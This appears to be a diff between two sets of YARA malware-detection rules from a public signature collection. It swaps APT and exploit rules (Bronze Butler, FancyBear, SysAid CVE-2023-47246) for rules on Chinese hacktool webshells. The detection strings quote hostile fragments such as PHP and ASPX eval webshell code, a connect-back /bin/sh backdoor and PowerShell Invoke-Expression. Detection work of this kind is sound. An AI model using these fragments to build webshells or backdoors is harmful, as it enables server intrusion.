-		logic_hash = "0b0c05db41d6b6ac48b31d8c22aead301470f465c2840ddc98ed9577d0aaa50b"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L327-L344"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8fc67359567b78cadf5d5c91a623de1c1d2ab689"
+		logic_hash = "2b93ef42c277fd8415cf89bf1bef3e841c56a2b4aa1507d99b84cd8adc9a0644"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a4afd9df1b4cc014c3a89d7b4a560fa3e368b02286c42841762714b23e68cc05"
-		hash2 = "90ac1fb148ded4f46949a5fea4cd8c65d4ea9585046d66459328a5866f8198b2"
-		hash3 = "331ac0965b50958db49b7794cc819b2945d7b5e5e919c185d83e997e205f107b"
-		hash4 = "b1fdc6dc330e78a66757b77cc67a0e9931b777cd7af9f839911eecb74c04420a"
-		hash5 = "15abe7b1355cd35375de6dde57608f6d3481755fdc9e71d2bfc7c7288db4cd92"
-		hash6 = "85544d2bcaf8e6ca32bbc0a9e9583c9db1dce837043f555a7ff66363d5858439"
-		hash7 = "2dc24622c1e91642a21a64c0dd31cbe953e8f77bd3d6abcf2c4676c3b11bb162"
-		hash8 = "2bdb88fa24cffba240b60416835189c76a9920b6c3f6e09c3c4b171c2f57031c"
 
 	strings:
-		$s1 = "(c) 2010 DYAMAR EnGineerinG, All rights reserved, http://www.dyamar.com." fullword ascii
-		$s2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1)" fullword ascii
-		$a1 = "ndkkwqgcm" fullword ascii
-		$a2 = "RtlGetCo" fullword ascii
-		$a3 = "hutils" fullword ascii
-		$b1 = "%USERPROFILE%\\System" fullword ascii
-		$b2 = "msid.dat" fullword ascii
-		$b3 = "DRIVE_REMOTE" fullword wide
-		$b4 = "%s%s%s%s%s%s%s%s%s%s%s%s" fullword ascii
-		$b5 = "jcbhe.asp" fullword ascii
-		$b6 = "edset.asp" fullword ascii
-		$b7 = "bxcve.asp" fullword ascii
-		$b8 = "hcvery.php" fullword ascii
-		$b9 = "ynhkef.php" fullword ascii
-		$b10 = "dkgwey.php" fullword ascii
+		$s0 = "Configbis = new BufferedInputStream(httpUrl.getInputStream());" fullword ascii
+		$s4 = "System.out.println(Oute.toString());" fullword ascii
+		$s5 = "String ConfigFile = Outpath + \"/\" + request.getParameter(\"ConFile\");" fullword ascii
+		$s8 = "HttpURLConnection httpUrl = null;" fullword ascii
+		$s19 = "Configbos = new BufferedOutputStream(new FileOutputStream(Outf));;" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="088382f4887e3b2c4bd5157f2d72b618" or all of ($a*) or 4 of them )
+		filesize <7KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Bronzebutler_Dget_1 : FILE
+rule SIGNATURE_BASE_Chinachopper_Temp_2 : FILE
 {
 	meta:
-		description = "Detects malware / hacktool sample from Bronze Butler incident"
+		description = "Chinese Hacktool Set - file temp.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d60fcc9f-0f17-5871-9e8e-71d26e2f46bc"
-		date = "2017-10-14"
+		id = "3952ed2b-fb27-5c45-9cd7-b7a300b37c0e"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bronze_butler.yar#L80-L93"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2d5537f581039fa4561950402a34cbd9abd54c167d659fbbe74f1cb83217e3fb"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L346-L359"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "604a4c07161ce1cd54aed5566e5720161b59deee"
+		logic_hash = "1b6d840797afcdbf7c72836557dbd486780c760471e79133810346c301cca80b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "bd81521445639aaa5e3bcb5ece94f73feda3a91880a34a01f92639f8640251d6"
 
 	strings:
-		$s2 = "DGet Tool Made by XZ" fullword ascii
+		$s0 = "@eval($_POST[strtoupper(md5(gmdate(" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <10KB and 1 of them )
+		filesize <150 and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Bronzebutler_Uacbypass_1 : FILE
+rule SIGNATURE_BASE_Templatr : FILE
 {
 	meta:
-		description = "Detects malware / hacktool sample from Bronze Butler incident"
+		description = "Chinese Hacktool Set - file templatr.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "01853352-58fc-56a3-8c20-08405c71e251"
-		date = "2017-10-14"
+		id = "b361a49d-1e05-5597-bf8b-735e04397ffa"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bronze_butler.yar#L95-L113"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "64b70b9f5963be9009025c14a6e98be9642599af5226f77946b6255116fc22d8"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L361-L374"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "759df470103d36a12c7d8cf4883b0c58fe98156b"
+		logic_hash = "80d207ee47c0c602ddd281e0e187b83cdb4f1385f4b46ad2a4f5630b8f9e96a1"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fe06b99a0287e2b2d9f7faffbda3a4b328ecc05eab56a3e730cfc99de803b192"
 
 	strings:
-		$x1 = "\\Release\\BypassUacDll.pdb" ascii
-		$x2 = "%programfiles%internet exploreriexplore.exe" fullword wide
-		$x3 = "Elevation:Administrator!new:{3ad055" fullword wide
-		$x4 = "BypassUac.pdb" fullword ascii
-		$x5 = "[bypassUAC] started X64" fullword wide
-		$x6 = "[bypassUAC] started X86" fullword wide
+		$s0 = "eval(gzinflate(base64_decode('" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and 1 of them )
+		filesize <70KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Bronzebutler_Xxmm_1 : FILE
+rule SIGNATURE_BASE_Reduhservers_Reduh_3 : FILE
 {
 	meta:
-		description = "Detects malware / hacktool sample from Bronze Butler incident"
+		description = "Chinese Hacktool Set - file reDuh.aspx"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0e413e3a-fb61-58bc-9ecb-4ef76e83a7f3"
-		date = "2017-10-14"
+		id = "69f5fd6b-a9b3-500b-8723-d1c82494903d"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bronze_butler.yar#L115-L140"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eb9c12cbe2fe132a9588b744d10caee12716f622c31da8a1cee4c0f88d693e8e"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L376-L392"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0744f64c24bf4c0bef54651f7c88a63e452b3b2d"
+		logic_hash = "5a3bc023e0e8a5ccc8ee8e1b5e7ee0fca64e3f92b72d0aad15b25c82a23da487"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7197de18bc5a4c854334ff979f3e4dafa16f43d7bf91edfe46f03e6cc88f7b73"
 
 	strings:
-		$x1 = "\\Release\\ReflectivLoader.pdb" ascii
-		$x3 = "\\Projects\\xxmm2\\Release\\" ascii
-		$x5 = "http://127.0.0.1/phptunnel.php" fullword ascii
-		$s1 = "xxmm2.exe" fullword ascii
-		$s2 = "\\AvUpdate.exe" wide
-		$s3 = "stdapi_fs_file_download" fullword ascii
-		$s4 = "stdapi_syncshell_open" fullword ascii
-		$s5 = "stdapi_execute_sleep" fullword ascii
-		$s6 = "stdapi_syncshell_kill" fullword ascii
+		$s1 = "Response.Write(\"[Error]Unable to connect to reDuh.jsp main process on port \" +" ascii
+		$s2 = "host = System.Net.Dns.Resolve(\"127.0.0.1\");" fullword ascii
+		$s3 = "rw.WriteLine(\"[newData]\" + targetHost + \":\" + targetPort + \":\" + socketNum" ascii
+		$s4 = "Response.Write(\"Error: Bad port or host or socketnumber for creating new socket" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and (1 of ($x*) or 4 of them )
+		filesize <40KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Bronzebutler_Rarstar_1 : FILE
+rule SIGNATURE_BASE_Chinachopper_Temp_3 : FILE
 {
 	meta:
-		description = "Detects malware / hacktool sample from Bronze Butler incident"
+		description = "Chinese Hacktool Set - file temp.aspx"
 		author = "Florian Roth (Nextron Systems)"
-		id = "770270b3-6743-5efb-84d8-b63f1df800d9"
-		date = "2017-10-14"
+		id = "573e7da6-f58f-5814-b3e8-a0db3ecfe558"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bronze_butler.yar#L142-L158"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0e418e595020d91c575051c3b1639b09efad150c625b62eec3d1331f9792641b"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L394-L408"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c5ecb8bc1d7f0e716b06107b5bd275008acaf7b7"
+		logic_hash = "6a0d7817607362f325957e30cace24d32635b7e0411e161588ee573118f91b6a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0fc1b4fdf0dc5373f98de8817da9380479606f775f5aa0b9b0e1a78d4b49e5f4"
 
 	strings:
-		$s1 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+6.0;+SV1)" fullword wide
-		$s2 = "http://www.google.co.jp" fullword wide
-		$s3 = "16D73E22-873D-D58E-4F42-E6055BC9825E" fullword ascii
-		$s4 = "\\*.rar" ascii
+		$s0 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"" ascii
+		$s1 = "\"],\"unsafe\");%>" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
+		uint16(0)==0x253c and filesize <150 and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Daserf_Nov1_Bronzebutler : FILE
+rule SIGNATURE_BASE_Shell_Asp : FILE
 {
 	meta:
-		description = "Detects Daserf malware used by Bronze Butler"
+		description = "Chinese Hacktool Set Webshells - file Asp.html"
 		author = "Florian Roth (Nextron Systems)"
-		id = "58c4d3dc-c516-567b-8746-4e185c3cd328"
-		date = "2017-11-08"
+		id = "52089205-8f36-5a0b-a1ae-67c91a253ad2"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/ffeCfd"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bronze_butler.yar#L170-L196"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "75edc17c51f4ea82ff7722df2f5825721ff64445fb8c78b450f1333bd32b5829"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L410-L425"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5e0bc914ac287aa1418f6554ddbe0ce25f2b5f20"
+		logic_hash = "47c5c242713446471d5da4d9245b99561c26ad7fa016059076a6f0acab542c3c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5ede6f93f26ccd6de2f93c9bd0f834279df5f5cfe3457915fae24a3aec46961b"
 
 	strings:
-		$x1 = "mstmp1845234.exe" fullword ascii
-		$x2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)" fullword ascii
-		$x3 = "Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; SV1)" fullword ascii
-		$s1 = "Content-Type: */*" fullword ascii
-		$s2 = "ProxyEnable" ascii fullword
-		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer" ascii fullword
-		$s4 = "iexplore.exe" ascii fullword
-		$s5 = "\\SOFTWARE\\Microsoft\\Windows\\Cu" ascii
-		$s6 = "rrentVersion\\Internet Settings" fullword ascii
-		$s7 = "ws\\CurrentVersion\\Inter" fullword ascii
-		$s8 = "Documents an" fullword ascii
+		$s1 = "Session.Contents.Remove(m & \"userPassword\")" fullword ascii
+		$s2 = "passWord = Encode(GetPost(\"password\"))" fullword ascii
+		$s3 = "function Command(cmd, str){" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and (1 of ($x*) or 5 of them )
+		filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_MAL_OSX_Fancybear_Agent_Jul18_1 : FILE
+rule SIGNATURE_BASE_Txt_Aspxtag : FILE
 {
 	meta:
-		description = "Detects FancyBear Agent for OSX"
+		description = "Chinese Hacktool Set - Webshells - file aspxtag.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ae717f70-7196-561a-916f-1598ab38c77a"
-		date = "2018-07-15"
+		id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/DrunkBinary/status/1018448895054098432"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fancybear_osxagent.yar#L1-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "099235424f22f3591a891726ea0c13ebf831fae0456ab1b6baba329c090a9535"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L428-L443"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "42cb272c02dbd49856816d903833d423d3759948"
+		logic_hash = "6ffeee18945cab96673e4b9efc143017d168be12b794fa26aa4a304f15ae8e13"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d3be93f6ce59b522ff951cef9d59ef347081ffe33d4203cd5b5df0aaa9721aa2"
 
 	strings:
-		$x1 = "/Users/kazak/Desktop/" ascii
-		$s1 = "launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist" fullword ascii
-		$s2 = "mkdir -p /Users/Shared/.local/ &> /dev/null" fullword ascii
-		$s3 = "chmod 755 /Users/Shared/start.sh" fullword ascii
-		$s4 = "chmod 755 %s/%s &> /dev/null" fullword ascii
-		$s6 = "chmod 755 /Users/Shared/.local/kextd" fullword ascii
+		$s1 = "String wGetUrl=Request.QueryString[" fullword ascii
+		$s2 = "sw.Write(wget);" fullword ascii
+		$s3 = "Response.Write(\"Hi,Man 2015\"); " fullword ascii
 
 	condition:
-		uint16(0)==0xfacf and filesize <3000KB and (1 of ($x*) and 4 of them )
+		filesize <2KB and all of them
 }
-rule SIGNATURE_BASE_APT_PS1_Sysaid_EXPL_Forensicartifacts_Nov23_1 : SCRIPT CVE_2023_47246
+rule SIGNATURE_BASE_Txt_Php : FILE
 {
 	meta:
-		description = "Detects forensic artifacts found in attacks on SysAid on-prem software exploiting CVE-2023-47246"
-		author = "Florian Roth"
-		id = "df7997d3-9309-58b3-8cd7-de9fea36d3c7"
-		date = "2023-11-09"
+		description = "Chinese Hacktool Set - Webshells - file php.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "65d5c46f-006d-58f9-bb7f-0a2e1f1853bd"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_sysaid_cve_2023_47246.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "85efeea88961ca99b22004726d88efc46c748273b9a0b3be674f4cbb12cd3dd1"
-		score = 85
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L445-L461"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "eaa1af4b898f44fc954b485d33ce1d92790858d0"
+		logic_hash = "ace26e7c0dca285febf6b9192cbe59cc7e55e80f2f4e1a99aba25afcbeadeec1"
+		score = 75
 		quality = 85
-		tags = "SCRIPT, CVE-2023-47246"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "if ($s -match '^(Sophos).*\\.exe\\s') {echo $s; $bp++;}" ascii wide
-		$x2 = "$s=$env:SehCore;$env:SehCore=\"\";Invoke-Expression $s;" ascii wide
+		$s1 = "$Config=$_SERVER['QUERY_STRING'];" fullword ascii
+		$s2 = "gzuncompress($_SESSION['api']),null);" ascii
+		$s3 = "sprintf('%s?%s',pack(\"H*\"," ascii
+		$s4 = "if(empty($_SESSION['api']))" fullword ascii
 
 	condition:
-		1 of them
+		filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Loader_Turtleloader_Nov23 : CVE_2023_47246 FILE
+rule SIGNATURE_BASE_Txt_Aspx1 : FILE
 {
 	meta:
-		description = "Detects Tutle loader used in attacks against SysAid CVE-2023-47246"
-		author = "Florian Roth"
-		id = "c7b5d03d-52c4-59b4-ac69-55e532a21340"
-		date = "2023-11-09"
+		description = "Chinese Hacktool Set - Webshells - file aspx1.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_sysaid_cve_2023_47246.yar#L17-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "14a1636ed4dc3c897fefe53946e67339f91da9e2fbed2c99b9b4119dcc2649c0"
-		score = 85
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L463-L477"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c5ecb8bc1d7f0e716b06107b5bd275008acaf7b7"
+		logic_hash = "20bdadd6c8b61ab14f6280f55a90f541bf65c33675f979ebe489cc3967438e15"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-47246, FILE"
-		hash1 = "b5acf14cdac40be590318dee95425d0746e85b1b7b1cbd14da66f21f2522bf4d"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "No key in args!" ascii fullword
-		$s2 = "Bad data file!" ascii fullword
-		$s3 = "Data file loaded. Running..." ascii
-		$op1 = { 48 8d 55 c8 4c 8d 3d ac 8f 00 00 45 33 c9 45 33 d2 4d 8b e7 44 21 0a 45 33 db 4c 8d 3d 16 ec ff ff }
-		$op2 = { 48 d3 e8 0f b6 c8 49 03 cb 49 81 c3 00 01 00 00 45 33 8c 8f a0 e4 00 00 41 83 fa 04 7c c7 41 ff c0 }
-		$op3 = { 48 83 c1 04 48 ff ca 89 41 1c 75 ef 03 f6 48 83 c3 20 48 ff cd 0f 85 77 ff ff ff }
+		$s0 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item["
+		$s1 = "],\"unsafe\");%>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 3 of them
+		filesize <150 and all of them
 }
-rule SIGNATURE_BASE_MAL_Grace_Dec22
+rule SIGNATURE_BASE_Txt_Shell : FILE
 {
 	meta:
-		description = "Detects Grace (aka FlawedGrace and GraceWire) RAT"
-		author = "X__Junior"
-		id = "fc2214dc-f1e5-52d7-a9de-88709a03b04e"
-		date = "2022-12-13"
+		description = "Chinese Hacktool Set - Webshells - file shell.c"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3e4c5928-346e-541b-b1a8-b37d5e3abc98"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_sysaid_cve_2023_47246.yar#L40-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8276662dadfa2f8e07dd7882a60e55bd22ecf1f8f66a09940f16236598646560"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L479-L496"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8342b634636ef8b3235db0600a63cc0ce1c06b62"
+		logic_hash = "020e9e6ef776a9d69939fa3dec771dc516b0184086738bab439063acca89bd76"
+		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "a66df3454b8c13f1b92d8b2cf74f5bfcdedfbff41a5e4add62e15277d14dd169"
-		hash2 = "e113a8df3c4845365f924bacf10c00bcc5e17587a204b640852dafca6db20404"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sa1 = "Grace finalized, no more library calls allowed." ascii
-		$sa2 = "Socket forcibly closed due to no response to DISCONNECT signal from other side, worker id(%d)" ascii
-		$sa3 = "AVWireCleanupThread" ascii
-		$sa4 = "AVTunnelClientDirectIO" ascii
-		$sa5 = "AVGraceTunnelWriteThread" ascii
-		$sa6 = "AVGraceTunnelClientDirectIO" ascii
+		$s1 = "printf(\"Could not connect to remote shell!\\n\");" fullword ascii
+		$s2 = "printf(\"Usage: %s <reflect ip> <port>\\n\", prog);" fullword ascii
+		$s3 = "execl(shell,\"/bin/sh\",(char *)0);" fullword ascii
+		$s4 = "char shell[]=\"/bin/sh\";" fullword ascii
+		$s5 = "connect back door\\n\\n\");" fullword ascii
 
 	condition:
-		2 of them
+		filesize <2KB and 2 of them
 }
-rule SIGNATURE_BASE_SUSP_Bad_PDF : FILE
+rule SIGNATURE_BASE_Txt_Asp : FILE
 {
 	meta:
-		description = "Detects PDF that embeds code to steal NTLM hashes"
-		author = "Florian Roth (Nextron Systems), Markus Neis"
-		id = "149cf20c-4cfd-5b07-acc5-06ae25b209b1"
-		date = "2018-05-03"
+		description = "Chinese Hacktool Set - Webshells - file asp.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "39a2ba9a-c429-574f-8820-5e0270a4b84c"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_bad_pdf.yar#L1-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "59b159aaccf5c3b64fee17831c1e3a1ca99b60dbb725ad25a4ddad47cdc442d7"
-		score = 65
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L498-L512"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a63549f749f4d9d0861825764e042e299e06a705"
+		logic_hash = "9eab239310fbebe8c88cbf8d0ee4123b8f3e2ebe601949e1e984e9cfde9869e7"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "d8c502da8a2b8d1c67cb5d61428f273e989424f319cfe805541304bdb7b921a8"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "         /F (http//" ascii
-		$s2 = "        /F (\\\\\\\\" ascii
-		$s3 = "<</F (\\\\" ascii
+		$s1 = "Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next:BodyCol" ascii
+		$s2 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii
 
 	condition:
-		( uint32(0)==0x46445025 or uint32(0)==0x4450250a) and 1 of them
+		uint16(0)==0x253c and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_CN_Twistedpanda_Loader : FILE
+rule SIGNATURE_BASE_Txt_Asp1 : FILE
 {
 	meta:
-		description = "Detects loader used by TwistedPanda"
-		author = "Check Point Research"
-		id = "a10f6019-f069-579c-b112-18537a7d8fd8"
-		date = "2022-04-14"
+		description = "Chinese Hacktool Set - Webshells - file asp1.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b00ab02c-c767-568c-be99-6cc731c3f1dc"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_twisted_panda.yar#L1-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b6b3892432be4bd8dfd44f08c124865c54d5ad2dc90b630072f19f7144d33555"
-		score = 80
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L514-L530"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "95934d05f0884e09911ea9905c74690ace1ef653"
+		logic_hash = "77a4409b852d24228b0e1701f1ccc2abe3930c2c7240a43796b23042e706d9bf"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "5b558c5fcbed8544cb100bd3db3c04a70dca02eec6fedffd5e3dcecb0b04fba0"
-		hash2 = "efa754450f199caae204ca387976e197d95cdc7e83641444c1a5a91b58ba6198"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$seq1 = { 6A 40 68 00 30 00 00 }
